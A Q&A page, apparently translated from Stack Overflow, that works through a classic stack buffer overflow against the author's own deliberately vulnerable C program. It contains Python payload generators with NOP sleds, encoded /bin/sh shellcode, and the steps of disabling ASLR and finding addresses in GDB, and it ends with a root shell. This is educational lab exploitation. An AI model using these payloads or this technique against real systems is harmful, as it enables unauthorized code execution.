如何进行简单的buffer_overflow攻击?

问题描述 投票:0回答:1

我已经尝试过数千次这样的攻击,但是都失败了,并以同样的问题告终。

我已经发布了bufferoverflow.c程序的代码。我已经用gcc连同-fno-stack-protector标志和-z execstack对其进行了编译。

我在gdb的帮助下调试了该程序,发现它需要424个字符才能进行分段错误[缓冲区溢出]。我还提供了hack.py的代码,其输出已存储在名为fuzzing的文件中。完成所有操作后,每次到达该端点时,当我测试程序并向其提供fuzzing时,它仍然崩溃并且没有给我外壳!

int vuln() {
    // Define variables
    char arr[400];
    int return_status;
    // Grab user input
    printf("What's your name?\n");
    return_status = read(0, arr, 800);
    // Print user input
    printf("Hey %s", arr);
    // Return success
    return 0;
}
int main(int argc, char *argv[]) {
    // Call vulnerable function
    vuln();
    // Return success
    return 0;
}

上面的代码是bufferoverflow.c

# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf3\xb2\xb6\x93\x1e\x9d\x9c"
buf += "\x79\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x99\x9b\xee\x0a\x74\x9f\xc3\x13\xf2\xec\xb9\x96\x56"
buf += "\x0a\xd4\xc0\xf1\xb2\xa7\xcf\xde\x35\xb7\x4f\xa2\xfa"
buf += "\x3f\x75\x74\x8d\xc6\x13\xd9\xea\xb9\x96\x74\x9e\xc2"
buf += "\x31\x0c\x7c\xdc\xb2\x46\x92\x99\x0c\x05\xd8\x8d\xcb"
buf += "\x87\xd5\x27\x56\x91\xdb\xd8\xbc\x6d\xf5\x9c\x2a\xbb"
buf += "\x3b\x51\xc1\x49\xd5\x15\x9f\xfc\xb7\xb6\x93\x1e\x9d"
buf += "\x9c\x79"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
print nop_slide + buf +  padding + return_address

以上代码为hack.py,其输出存储在fuzzing中,并用作程序的输入文件。

我希望我的程序在msfconsole中提供外壳程序,但实际上它停在某个点并显示以下错误:

root@kali:~/Buffer Overflow# ./bufferoverflow < fuzzing 
What's your name?
Hey ����������������������������������������������������������������������������������������������������H1�H������H�����H�󲶓��yH1X'H-���������
t���칖V
Segmentation fault
root@kali:~/Buffer Overflow#
c stack-overflow buffer-overflow
1个回答
0
投票

好,我知道了我的问题!这很简单。

假设我有以下代码:-

#include <stdio.h>

void vuln() {
    char string[1024];
    gets(string);
    printf("%s\n", string);
}

int main() {
    vuln();
}

我将其保存在名为script.c的文件中,然后使用:-

进行编译
gcc -z execstack script.c -o script.elf

并且在进行任何进一步操作之前,我将禁用ASLR,以免破坏内存地址:-

echo 0 > /proc/sys/kernal/randomize_va_space

现在像往常一样,我使用GDB调试程序,发现缓冲区位于rbp-0x400,并在gets函数之后设置一个断点。当我启动程序并给它提供很多A时,我检查了缓冲区,发现它可以覆盖RIP并使其指向接近缓冲区开头的地址,从而使控件跳至NOP。 -sled,然后向下滑动到shellcode。这是检查GDB中的缓冲区的输出。

(gdb) x/64x $rbp-0x400
0x7fffffffdc60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdca0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcb0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

所以我决定将RIP指向0x7fffffffdc70,然后在payload.py中进行以下攻击:-

import sys
import struct

offset  =   1032
RET =   struct.pack("Q", 0x7fffffffdc70)

buf  = b""
buf += b"\x90" * 256
buf += b"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x66\xc0\xf5\xcb\x71\x99\xa8"
buf += b"\x4c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x0c\xfb\xad\x52\x39\x22\x87\x2e\x0f\xae\xda\xb8\x19"
buf += b"\x99\xfb\x04\xef\x27\x9d\xe6\x12\x99\xa8\x04\xef\x26"
buf += b"\xa7\x23\x7b\x99\xa8\x4c\x49\xa2\x9c\xa5\x5e\xfb\xc9"
buf += b"\x3f\x0e\xc0\xa3\x9c\x39\x10\x4e\x43\x63\xc0\xf5\xcb"
buf += b"\x71\x99\xa8\x4c"
buf += b"\x41" * (offset - len(buf))
buf += RET

sys.stdout.buffer.write(buf)

注意:上面的shellcode生成了/ bin / sh shell。

现在,我将此Python脚本的输出存储在名为exploit.txt]的文件中>并通过exploit.txt:-将输入提供给GDB中的程序

root@linux:~/Desktop/Buffer Overflow# python3 payload.py > exploit.txt 
root@linux:~/Desktop/Buffer Overflow# gdb ./script.elf -q
Reading symbols from ./script.elf...
(No debugging symbols found in ./script.elf)
(gdb) r < exploit.txt 
Starting program: /root/Desktop/Buffer Overflow/script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
process 136690 is executing new program: /usr/bin/dash
[Detaching after fork from child process 136694]
[Inferior 1 (process 136690) exited normally]
(gdb) 

等等?我们执行/ bin / sh而不是/ bin / dash。好吧,这看起来不正确,但实际上是真的,因为/ bin / sh实际上指向/ bin / dash:-

root@linux:~/Desktop/Buffer Overflow# ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 29  2019 /bin/sh -> dash

但是无论如何,这在GDB中不起作用!我在GDB之外尝试了此操作,并得到了以下结果:-

root@linux:~/Desktop/Buffer Overflow# ./script.elf < exploit.txt 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
Illegal instruction
root@linux:~/Desktop/Buffer Overflow# 

等等,很奇怪!我们应该获得正确的外壳程序,至少在GDB中,我们能够执行我们的外壳程序代码,但在外壳程序之外,我们得到的是“非法指令”。哦,天哪,我花了很多时间寻找答案,终于找到答案了。原因是,尽管ASLR被禁用,所以地址没有变化,但是环境变量

是主要的罪魁祸首。因此,环境变量在GDB和实际终端中都在变化。我们无法摆脱它们,因此如何在运行时确定缓冲区的正确起始地址。

我所做的是我在一个终端中执行了程序:-

root@linux:~/Desktop/Buffer Overflow# ./script.elf 


现在它正在等待输入,所以我迅速打开了另一个终端,并使用以下命令:-

root@linux:~# gdb --pid $(pidof ./script.elf) -q 
Attaching to process 136928
Reading symbols from /root/Desktop/Buffer Overflow/script.elf...
(No debugging symbols found in /root/Desktop/Buffer Overflow/script.elf)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/40/f80fd23b36ba3a7e20f63d615dc1aca83f4262.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/8a/980b57d17a1e050e7646f9604e8a96824d3691.debug...
0x00007ffff7ecf59e in __GI___libc_read (fd=0, buf=0x5555555592a0, nbytes=1024)
    at ../sysdeps/unix/sysv/linux/read.c:26
26  ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) 

因此,我将GDB附加到正在运行的程序,然后在gets函数之后设置一个断点,然后在上一个终端[运行script.elf

的地方键入一些A”,按Enter键后,我切换回GDB终端,然后输入'c'。因此,它继续并最终达到了断点。这次我可以准确地分析缓冲区:-
(gdb) x/64x $rbp-0x400
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdda0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffddb0: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

所以现在我将选择RIP必须指向的地址0x7fffffffdcd0

。我修改了payload.py并保存了!然后,我将其输出用作script.elf的输入,然后得到了:-
root@linux:~/Desktop/Buffer Overflow# python3 payload.py | ./script.elf 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
root@linux:~/Desktop/Buffer Overflow# 

哇! Shellcode已执行,但是我们没有外壳。似乎令人困惑。实际上,shellcode可以完美执行并等待输入&,因为我们提供给程序的唯一输入是payload.py

的输出。因此,如果我们只使用:-

python3 payload.py && cat

我们可以通过stdin提供输入,它可以通过stdout将其回显。看起来不错,我们执行shellcode,程序要求输入,我们给它输入,它读取并在/ bin / sh shell上执行,然后给出输出。太好了,我们如何才能使它正常工作?很简单,我们将上述命令的组合输入用于script.elf

,如下所示:-

((python3 payload.py && cat)| ./script.elf

并且我们得到这样的输出:-

root@linux:~/Desktop/Buffer Overflow# (python3 payload.py && cat) | ./script.elf 

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
ls
exploit.txt  payload.py  script.c  script.elf
pwd
/root/Desktop/Buffer Overflow
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

哇!固定它!那很简单。

注意:在运行时,我输入了'ls','pwd'

'whoami''id'

因此漏洞利用程序现在可以完美运行!

© www.soinside.com 2019 - 2024. All rights reserved.